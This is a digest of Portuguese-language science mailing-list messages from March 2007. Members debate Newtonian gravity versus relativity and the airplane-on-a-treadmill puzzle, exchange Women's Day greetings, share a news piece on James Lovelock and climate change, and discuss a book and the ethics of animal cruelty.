se não existe propagação instantânea, deverá existir alguma outra
força à primeira vista invisível (rigorosamente falando todas as
forças são invisíveis, logo não há o que estranhar). Poderá não ser a
força de Heaviside nem a de Jefimenko (cogravitacional), mas o
probleminha não terá solução se não existir alguma força além da
gravitacional e a que eu chamei por Fa (força de arraste) no
probleminha citado:
http://br.groups.yahoo.com/group/ciencialist/message/56241 . Ora, se
existir um campo relacionado a Fa, o potencial deverá levar esse
campo em consideração (se o campo for conservativo a solução será de
um tipo e poderemos completar a sua equação --a rigor seria de
Poisson--, mas se não for a coisa se complica bastante), pois do
contrário estaremos *operacionalmente* assumindo o modelo de três
leis como fato incontestável, mas não foi isso que Newton assumiu.
Uma coisa é conseguirmos resolver uma infinidade de problemas
aceitando a idéia da propagação instantânea (embutida no modelo),
outra coisa é pretendermos teorizar seriamente em cima da realidade
factual e não aprisionada a dogmas decorrentes de uma matemática mal
aplicada. O Poisson que me desculpe, pois ele foi um excelente
matemático, mas não se apercebeu de determinadas sutilezas inerentes
à *física* newtoniana como, por exemplo, o "postulado do movimento
absoluto" que já comentei em outra msg desta thread:
http://br.groups.yahoo.com/group/ciencialist/message/60132

Victor: Esta dificuldade, que posto aqui, agora, e sobre a qual não
se falou antes, pois a outra discussão não deu folga, incomodou
muito gente boa. De fato, as tentativas para "consertar" esse
aspecto da teoria Newtoniana acabaram produzindo outros resultados
bem interessantes, principalmente na Cosmologia. Se interessar um
discussão a esse respeito, garanto que é bem interessante. Mas acho
que você vai se interessar, pois sei que você sabe muito bem do que
estou falando e não vai deixar isso passar barato.

Alberto: Sim, eu sei, mas como o assunto já está bastante extenso (6
sub-threads), deixemos isso para outra ocasião.

Victor: Sinceramente, não vejo uma importância maior na questão dos
potenciais retardados, que não é estranha à TR, sendo já incorporada
por ela.

Alberto: Digamos que você está satisfeito com a operacionalidade
relativística e/ou com os resultados relativísticos, logo não vê
maior importância em temas que poderiam livrar a física de centenas
de fantasmas que vêem assustando os físicos modernos há mais de um
século. Tudo bem, digo apenas que à medida em que você fecha a
questão o nosso diálogo acaba perdendo o sentido. Se você acha mais
fácil engolir "Sua Majestade a Luz" e ignorar a possibilidade da
existência de uma força de arraste promovida por corpos em movimento
absoluto, então engula aquilo que lhe agrada e faça bom proveito. Não
estou afim de convencer ninguém de nada, apenas chamar a atenção para
a existência de outras saídas compatíveis com aquilo que
chamam "sucessos relativísticos".

> > Victor: E também não sei de que absurdos relativísticos o amigo
fala. Mas desconfio que seja sobre os postulados da relatividade.

> Alberto: Creio que sim, mas veja que neste tópico a TR nem mesmo
está em discussão, apenas é citada por seus possíveis absurdos.

Victor(25.2.07): Quais os absurdos?

Alberto: A relatividade clássica assume que as leis da mecânica são
independentes do referencial inercial. A TR vai além disso e
assume "as leis da física". Não satisfeita com essa generalização vai
além, assumindo que a velocidade da luz, que NÃO É UMA LEI CLÁSSICA,
mas uma propriedade física, também independe do referencial. Ou seja,
ao considerar a velocidade da luz independente do referencial,
Einstein promoveu uma propriedade mensurável da física clássica
(velocidade da luz) de maneira a que deixasse de ser uma propriedade
física e passasse a representar uma lei. Isso, a meu ver, caracteriza
o absurdo, apesar de a imensa maioria dos físicos da atualidade não
querer enxergar esse absurdo (volto a comentar isso na sub-thread
Poisson2).

Victor: [...] vejo que o Jfimenko não é um crackopot, apesar de suas
idéias estarem totalmente na contra-mão do que se conhece hoje.
Admira-me, contudo, a maestria com que maneja a matemática, sobretudo
as equações vetoriais.

Alberto: Por falar nisso, saiu uma segunda edição do livro do
Jefimenko sobre relatividade e, segundo soube, com novos
capítulos: "Electromagnetic Retardation and Theory of Relativity: New
Chapters in the Classical Theory of Fields, Second Edition". Já
encomendei na Amazon, mas ainda não recebi.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Dia internacional da mulher
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 08:30

# Parabéns a todas as mulheres da lista. Roberto Takata #

Com todos os merecimentos possíveis a essa espécie em franca evolução. Relembro (pesaroso) que, a menos de 100 anos atrás, era inconcebível imaginar uma mulher em sala de aula.

[]'
Léo




SUBJECT: Re: [ciencialist] Dia internacional da mulher
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 09:47

Pesaroso?

[]s

Alvaro


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 08, 2007 8:30 AM
Subject: Re: [ciencialist] Dia internacional da mulher


# Parabéns a todas as mulheres da lista. Roberto Takata #

Com todos os merecimentos possíveis a essa espécie em franca evolução.
Relembro (pesaroso) que, a menos de 100 anos atrás, era inconcebível
imaginar uma mulher em sala de aula.

[]'
Léo



SUBJECT: Re: Dia internacional da mulher
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 12:08

Alô Natália, Aline, Bruna, Lígia e demais mulheres da CienciaList,

Parabéns para todas vocês nesse dia.

Não seria justo que todos os dias fossem o Dia Internacional do Homem.
Por isso, nós, homens, generosamente, bondosos que somos, cedemos-lhes
essa data, oito de março.

Mas não confundam bondade com fraqueza, ok? Sejam gratas.

Beijos,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Dia internacional da mulher
FROM: Erich Weick <erich_weick@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 12:39

Calma, calma...

Espere só para ver o que vai acontecer nos próximos 100... :)

Abraços à todas a mulheres da lista.


Erich

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:

...Relembro (pesaroso) que, a menos de 100 anos atrás, era inconcebível imaginar uma mulher em sala de aula....


__________________________________________________
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: in "Migalhas":
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 08/03/2007 13:43

Permissão


A Telefônica poderá oferecer serviço de TV por assinatura via satélite em todo o país. A autorização foi dada ontem pela Anatel.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 13:59

Olá Jose Renato

Renato: "JR - Nesse caso estou analisando a primeira possibilidade. Quando os motores
do avião são acionados o atrito normal existente é superado pelo empuxo e
ele se desloca sobre a esteira como faria em qualquer pista."

Não, a esteira é um "red hering", ele se desloca em relação ao CHÃO onde a esteira está, e em relação ao AR onde está imerso. A esteira não tem NADA a ver com isso, pois não é tracionando a esteira que ele se move.

Tente, por favor, imaginar que o avião está sobre a esteira, mas preso a fios que impedem que "toque" a esteira com as rodas. Ligue a propulsão e o avião SE MOVE para frente em relação ao CHÃO onde a esteira está. Lgue a esteira e ela rola para tras, mas isso NADA influencia o avião, que se move devido a PROPULSÃO.

Ele se move, n]ão girando as rodas, o que a esteira compensaria, mas pelo EMPUXO que o move em relação ao CHÃO, e não a esteira.

Por favor, peça ao Takata que explique isso para você, se n~]ao acredita em mim e no Ricardo (e no Leo, e em todos os outros que já tentaram explciar isso). O Takata está dizendo algo MUITO diferente do que você está entendendo, Renato. E você está errado nessa questão.

Ele se desloca em relação ao CHÃO onde a esteira se apoia, porque NÃO precisa das rodas para tracionar.

Homero





----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 07, 2007 10:18 PM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)


Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
problema, item a item. Faço comentários no texto abaixo, após JR -, de modo
a facilitar o desenvolvimento das idéias:
.....................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 7:06 AM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)

> José Renato,
>
> Com atrito nos "rolamentos", e com o motor desligado (importante), o avião
> é
> progressivamente puxado para trás, se a esteira estiver continuamente
> rodando para trás. Começando com uma velocidade determinada, até chegar à
> velocidade da esteira.
JR - A proposta de "testar" o que ocorreria quando o avião estiver com
motores desligados e a esteira fosse acionada foi só para ajustar que,
normalmente, há um atrito significativo entre a esteira e o avião através do
que quer que seja: rodas, esquis, fuselagem...
>
> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
> descrição da frase acima não corresponde em nada ao problema proposto. O
> avião e a esteira começam parados, o avião liga seu motor, então, apenas
> se
> ele começar a andar para frente, a esteira começara a andar para trás. E o
> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo do
> motor. Então o avião andará para frente.
JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em que
os motores são ligados e o avião começa a se deslocar para frente sobre a
esteira e, *simultaneamente*, a esteira começa a se deslocar para trás, na
mesma velocidade do avião. Agora, vem um detalhe importante: como está sendo
medida a velocidade do avião? Vamos considerar que a velocidade do avião é
medida por um velocímetro nele acoplado, semelhante ao que as revistas de
automóveis usam para fazer os testes de carros: uma roda calibrada ou um
foco de luz sobre o piso da esteira onde o avião está se deslocando. Assim
que o avião aumenta a velocidade e atinge 100km/h - medida como se fosse um
carro em teste - a esteira corre também na mesma velocidade de 100km/h, para
trás. Em relação a esteira o avião está a 100km/h, mas em relação ao chão
onde a esteira está apoiada e ao ar que os cerca, está praticamente parado.
>
> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda para
> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
> esteira
> ficam parados. Para o avião e a esteira ficarem parados, o atrito estaria
> acima de qualquer caso real razoável.
JR - Nesse caso estou analisando a primeira possibilidade. Quando os motores
do avião são acionados o atrito normal existente é superado pelo empuxo e
ele se desloca sobre a esteira como faria em qualquer pista.
>
> Este assunto está se estendendo a ponto de confundir mais do que
> esclarecer,
> eu acho. Gosto da abordagem construtiva do Takata. Evita essas recorrentes
> discussões dos mesmos pontos. Evita que andemos em círculos, como está
> acontecendo agora.
JR - Confirme se até aqui ficou claro para vc que o avião ficará
praticamente parado em relação ao chão onde está apoiada a esteira rolante.
Aí então podemos ajustar outros entendimentos e continuar nossa discussão.
Takata vinha desenvolvendo a questão com clareza até quando - para atender
as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
suposições e detalhes periféricos sem importância significativa ao
esclarecimento do problema proposto.

[]s

José Renato
......................................................

al Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 11:36 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola SEM PROBLEMAS..:-)
>
>
>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>> rodas.
>> Assim sendo, a esteira transportará o avião na direção do movimento dela.
>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>> seguinte
>> texto:
>>
>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião para
>> trás. As rodas girarão um pouco apenas no caso da esteira partir com uma
>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
>> rodas. Depois que a esteira "infinita" atinge a velocidade limite máxima
>> e
>> a
>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa a
>> ser
>> transportado "paradão", se deslocando para trás com a mesma velocidade da
>> esteira. ]
>>
>> []s
>>
>> JR
>> ...................................
>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Sunday, March 04, 2007 6:38 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
>> esteira
>>
>>
>>> Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
>>> após os seus:
>>> ...........................
>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Sunday, March 04, 2007 4:09 PM
>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>> em
>>> esteira
>>>
>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao
>>>> que
>>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>>> avião
>>>> para frente é independente da esteira (turbina, por exemplo), a esteira
>>>> se
>>>> mover para trás não empurra o avião para trás de forma determinante,
>>>> mas
>>>> sim, faz as rodas girarem mais rápido.
>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc
>>> e
>>> a
>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
>>> caso
>>> da esteira partir com uma *aceleração* alta o suficiente para vencer o
>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge
>>> a
>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
>>> param de rodar e ele passa a ser transportado "paradão", se deslocando
>>> para
>>> trás com a mesma velocidade da esteira.
>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>> acionados.
>>>
>>>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>>>> para
>>>> trás, e as rodas giram mais rápido.
>>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>>> frente
>>> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
>>> Ele
>>> só passará a se deslocar para frente continuamente sobre a esteira
>>> quando
>>> os
>>> motores das hélices ou turbinas forem acionados e acelerados.
>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
>>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>>> estará
>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>> acima
>>> mencionado ser suficientemente forte para elevar o avião da esteira, o
>>> que
>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
>>> fosse
>>> "amarrado pela cauda" e acelerasse os motores.
>>>>
>>>> []s
>>>> Ricardo
>>>
>>> []s
>>> José Renato
>>> ................................................
>>
>> ----- Original Message -----
>> From: "Oraculo" <oraculo@atibaia.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, March 05, 2007 3:19 PM
>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola
>> SEM PROBLEMAS..:-)
>>
>>
>> Olá Jose Renato
>>
>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>> velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>> "
>>
>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>> tração
>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ do
>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o avião
>> apra tras, depois que ele liga as turbinas!
>>
>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e
>> elas
>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são dispositivos
>> de
>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>> aeroporto.
>>
>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
>> GRANDE força para manter a mala no lugar, enquanto a esteira rola abaixo
>> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
>> fornece tração para a esteira empurrar a mala.
>>
>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a
>> mala
>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>> atrito
>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>
>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
>> ZERO,
>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>> mala
>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>
>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou do
>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>> parar,
>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>
>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira
>> pode
>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos rolamentos
>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força
>> das
>> turbinas.
>>
>> Homero
>>
>>
>>
>>
>> ----- Original Message -----
>> From: José Renato
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, March 04, 2007 12:10 AM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>> em
>> esteira
>>
>>
>> Ricardo:
>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> ao
>> empurrar o ar para trás, empurra o avião para frente, independente deste
>> ter
>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>> cima. ]
>> ..........................
>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>> []s
>> JR
>> ..........................
>>
>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Tuesday, February 27, 2007 11:25 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>> em
>> esteira
>>
>> > From: "José Renato" <jrma@terra.com.br>
>> >> Homero:
>> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou
>> das
>> >> rodas. ]
>> >> .............................................
>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>> asas
>> >> capaz
>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>> >> turbinas.
>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>> >
>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> > ao
>> > empurrar o ar para trás, empurra o avião para frente, independente
>> deste
>> > ter
>> > ou não asas. O avião se move para frente ao ligar a turbina, não para
>> > cima.
>> >
>> > Um abraço,
>> >
>> > Ricardo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Lovelock e o terrorismo
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 15:14

Lista,
Em 2040 certamente apenas pó restará de vosso amigo listeiro aquí. Certamente, muitos de vocês estarão comigo, nesses 100% do nada que haverá de vir. Mas, e nossos descendentes? Enxugarão o suor decorrente, antes de serem torrados. Deve ser isso. Mas acho que se faz alarde demais, a respeito deste assunto. Só não sei se há providências adequadas a respeito. Mas, parece, se há, há-la de menos(acabei de inventar o há-la...). Quem realmente, aí, está por dentro do caminhar dessa questão? De qualquer maneira, não faz mal acreditar no Lovelock, fazendo cada um sua parte, já que prevenir é ficar amigo da segurança. Que é bom, e nossos filhos e descendentes gostarão.

Sds,
Victor.



08/03/2007 » Envie este artigo
Estadão
O aquecimento global faz com que a Terra encontre-se em "estado terminal", e combater essa situação com energias renováveis é como tratar um doente grave com "medicina alternativa", disse, em entrevista à agência Efe, o cientista britânico James Lovelock, pai da Teoria de Gaia.

Na entrevista, concedida antes da apresentação, em Madri, de seu livro A vingança da Terra, Lovelock admitiu que a obra não diz nada que não conste do recente relatório do Paine
l Intergovernamental sobre Mudanças Climáticas (IPCC), mas traduz a linguagem científica para o público em geral, e "fala de suas possíveis conseqüências para a humanidade".

A Teoria de Gaia, que o cientista apresentou no começo dos anos 70, argumenta que a Terra se comporta como um grande organismo vivo capaz de se regular e reagir às mudanças.

Fazendo uma analogia com a saúde do ser humano, Lovelock, de 87 anos, alertou que nosso planeta encontra-se em "estado terminal", similar ao de uma pessoa que sofra de doença no coração ou nos rins.

Em 2040, afirmou, serão normais os verões como o que castigou a Europa há quatro anos, deixando cerca de 15.000 mortos na França.

O calor "poderia ser combatido com aparelhos de ar condicionado", pois seria similar, por exemplo, ao de Bagdá, mas uma alta tão drástica das temperaturas impediria a sobrevivência dos cultivos no sul da Europa e provocaria migrações rumo aos países mais frios.

Portanto, Lovelock considera que os governos deveriam concentrar seus esforços na adaptação à mudança, construindo casas adequadas, hospitais e infra-estrutura para os deslocados, "em vez de perder o tempo lutando contra a mudança climática com as energias renováveis".

"Não é que eu queira atirar pedras contra (o Protocolo de) Kyoto, mas a situação é mais urgente do que quando ele foi planejado, há dez anos", afirmou.

Defensor da energia nuclear, o cientista considera que esta é "a única fonte de energia bem conhecida, em escala planetária, e quase sem efeitos negativos".

"Enquanto 40 anos de resíduos de uma usina nuclear podem ser armazenados em um pequeno edifício, o CO2 (dióxido de carbono) emitido anualmente pela queima de combustíveis fósseis formaria, em estado sólido, uma montanha de 1.600 metros de altura e 20 quilômetros de área", acrescentou » Envie este artigo

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Notícias científicas
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 15:27

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> O TecnoCientista está cada vez melhor. Cada vez mais novidades. A
seguir, o link para a edição atual, bem como a notícia que colo a
seguir, que vocês podem ler lá, também.

Ainda não tem RSS...

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Sombras do Iluminismo - Manuel Bulcão Neto
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 15:48

Parabens pela propaganda do livro dele. Eu consigo um
exemplar pela livraria cultura???

--- José Renato <jrma@terra.com.br> escreveu:

> Manuel, gostei de ler o seu segundo livro Sombras do
> Iluminismo e já comecei a ler sua primeira cria
> literária Esquisitices do Óbvio, reunindo seus
> vários escritos com reflexões realizadas nos últimos
> dez anos. É instigante e me surpreendeu
> positivamente pelo trabalho de arrumar de maneira
> fácil os diversos assuntos que a Ciência e o
> Conhecimento revelou ao mundo principalmente nos
> séc. XIX e XX. Gostei também de conhecer melhor suas
> opiniões sobre nossa realidade e a busca permanente
> de obter um entendimento razoável sobre a
> existência. As Notas bibliográfica e de
> esclarecimentos, organizadas nas últimas páginas,
> são um prazer à parte.
>
> Fortalecida e apoiada pelo crescente movimento
> anticlerical existente no período, a Ciência - por
> muitas razões - tornou-se anti-religiosa a partir
> dessa época e, mais do que isso, uma opção
> excepcional para tirar os poderes que o clero
> mantinha na estrutura política, social, econômica e
> educacional, sobre a maioria dos países da Europa e
> do Novo Mundo. Esse antagonismo permanece até hoje
> na cultura acadêmica onde é inadmissível um
> cientista ou homem de ciência, professar uma crença,
> doutrina ou valores éticos de uma religião.
>
> Passada a euforia da libertação do jugo clerical,
> caímos na real e vimos que, apesar de todo o
> inimaginável desenvolvimento tecnológico e
> científico ocorrido nesses últimos séculos,
> continuamos sofrendo os mesmo problemas de miséria,
> fome, egoísmo, corrupção, guerra, doenças, mentira,
> exclusão, falsidade, crueldade, engodo, violência...
> E o pior, muitas vezes aprimorados e apoiados no
> chamado cientificismo, uma nova religião onde os
> compromissos com a vida humana e com os ecossistemas
> são flexíveis, relativizados e o capital dita as
> regras, sutilmente maquiadas pelos meios de
> comunicação de modo a não esclarecer, nem acordar a
> opinião pública.
>
> Valeu a pena ler o seu livro, Bulcão, e tomar
> conhecimento de suas leituras e pesquisas sobre o
> rumo da Ciência no mundo dominado pelos
> conglomerados. Apenas uma opinião ou entendimento
> seu me pareceu exagerado: a de que as pessoas, ao se
> desencantarem com as promessas de um maravilhoso
> mundo novo que as descobertas científicas induziu,
> tenderão voltar ao embotamento das crendices
> atávicas e ao fundamentalismos religiosos.
> Na minha visão as coisas continuarão praticamente do
> mesmo jeito, com a maioria das pessoas buscando um
> paraíso light-zen, tipo Nova Era, sem maiores
> compromissos com valores éticos, que serão adaptados
> ao gosto e à comodidade do novo crente, dentro do
> marketing do consumo acelerado pelo desperdício
> propagandeado, pelo sucateamento acelerado dos bens
> de consumo e pela dependência psicológica e cultural
> mantida de todas as formas pelos donos da grana. Os
> profetas de seu tempo continuarão a denunciar as
> aberrações e mazelas dos poderosos e, como sempre
> ocorreu, sofrerão as conseqüências por isso.
>
> Entre as inúmeras citações, trechos e expressões que
> sublinhei no livro, transcrevo duas da página 168,
> tópico 4. O racionalismos como escolha moral, do cap
> III - O panteão da superfície, que me parecem
> significativas ao nosso momento:
>
> [ Embora a Ciência não nos possa fornecer, através
> do seu método, um sistema ético inequívoco e
> verdadeiro, não se pode, todavia, produzir
> conhecimento científico se não se parte de um
> determinado princípio ético. Segundo Jacques Monod,
> "o conhecimento verdadeiro ignora os valores. Para
> fundá-lo, porém, é preciso um juízo ou, antes, um
> axioma de valor". Qual é esse "valor primitivo que
> funda o conhecimento"? Para Monod, trata-se do
> compromisso com a objetividade, ou, nas palavras de
> I. Prigogine, "respeito à natureza": a noção de que,
> se quisermos transformar a realidade de modo a
> fazê-la atender às nossas necessidade, devemos
> obedecer às suas leis que são independentes dos
> nossos desejos e vontade (i.e., "objetivas"). [ ...
> ] Como salientou C. Lévi-Straus, "um humanismo
> adequadamente ordenado não pode começar
> espontaneamente, mas deve colocar o mundo antes da
> vida, a vida antes do homem e o respeito pelos
> outros antes do egoísmo". (Mythologiques III:
> L'Órigine des Maniéres de Tabel; 1968).]
>
> Parabéns, pelo belo trabalho que movimenta e renova
> as idéias estabelecidos como "verdades científicas"
> que não deveriam ser mais discutidas.
>
> Abraços
>
> José Renato
>
>
>
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
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O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 16:22

JR, minhas respostas seguem depois do ">>>>>".

JR1 - Dor e prazer são sinais sensíveis relativos. O
atleta sofre muito durante a preparação para bater
seus recordes com a intenção de ter o prazer de
possuir uma medalha de ouro, seu nome nos anais,
valorização,
admiração, etc. Dor e prazer não são indicativos
absolutos. Muitas vezes o prazer de comer uma caixa de
chocolate acaba mal. Esse equilíbrio nas atitudes já
era perseguido por Sócrates com muito empenho. Perceba

que buscar a felicidade, a glória e o gozo é o
objetivo maior e legítimo do ser humano. As
dificuldades ocorrem quando minha visão é curta e
atropelo tudo que de bom possuo para obter isso. A
troca é prejudicial a
mim e a todos que uso ou despacho para obter a
felicidade a qualquer custo. Vou postar uma reflexão
que fiz sobre isso, provocada há tempos
pelo Bulcão, na lista Acropolis.

>>>>>Concordo com a relatividade.


JR1 - Mas quando o ser humano toma consciência de sua
existência passa
a buscar viver de verdade, ter um amor de verdade, ser
feliz de
verdade... Ilusões distraem e confortam durante algum
tempo. Mas o bom mesmo é
a realidade com todas as sua conseqüências.

>>>>>O que é verdade??? A realidade é boa porque dá
prazer???
Eu posso na MATRIX fazer com que voce saiba mais
verdades que uma pessoa comum. Com isso você pensaria
que conhece a realidade e seria bom para você.
Não gostaria de entrar na MATRIX???

JR1 - Viver de mentirinha é o que já faço de diversas
maneiras e em diversas ocasiões. Mas os meus melhores
momentos da vida vieram através da realidade e da
lucidez em percebê-la. Nela me realizo.

>>>>>Não gostaria de entrar na MATRIX???

JR1 - É o que todos os "espertos e sabidórios"
fazem... Quanto a não
ser punido ou não sentir remorsos não é uma certeza
obtida de antemão.
Quando menos se espera vem a tal crise existencial e
aí o cara se
constata um merda, mentiroso, falso, safado, lixo,
traidor, etc. e nem sabe
mais quem ele é de fato no meio de tanta falsidade e
mentira.

>>>>>Todas as pessoas não são assim. Existem aquelas
que não sentem nenhum remorso em fazer ações
consideradas más.

JR1 - Prejudicar, sacanear ou fazer mal a alguém pode
dar algum prazer, algum tipo de emoção forte. Os
cruéis patológicos têm orgasmos ao praticar violência,
mas é um distúrbio mental que não me parece grande
coisa
desejar possuir. Quanto à vontade de usar minha
experiência de vida para discernir o que é melhor, o
que deve ser evitado e o que precisa ser superado, é
um exercício diário que requer tempo, coragem e
reflexão.
Cometer os mesmos erros ou o erro dos outros é burrice
em dobro. Prefiro tentar algo diferente e que tenha
alguma chance de obter melhores
resultados...

>>>>> E os cruéis não patológicos??? O resto que você
disse é relativo.


JR1 - Mas, Chicão, não é esse objetivo que nos ilude
desde sempre? O
crime perfeito! E cada vez mais se sofistica as formas
burlar, de modo a
ser à prova de qualquer investigação, até que alguém
de dentro do
esquema se sente enganado e, antes de ser eliminado,
denuncia(RJ) ou mesmo o
burlador se rende à verdade(NSN) ou por vaidade abre o
bico(SN,ACM).

>>>>> Isso também não poderá acontecer e as coisas
ficarem sob segredo.
Você disse que ser bom era mais vantajoso. Devemos ser
bons porque é mais vantajoso??? Isso depende. Ser mau
também pode ser vantajoso ao invés de ser bom. Note
que o príncipio aqui é o do ganho(teoria dos jogos).
Então ambos são duas faces de uma mesma moeda. Por
esse principio você é igual as siglas.
Se matamos animais porque a natureza nos fez
superiores a eles então não deveríamos nos indignar
caso ET´s com uma inteligência superior a nossa
coagisse-nos a ser seu prato principal.


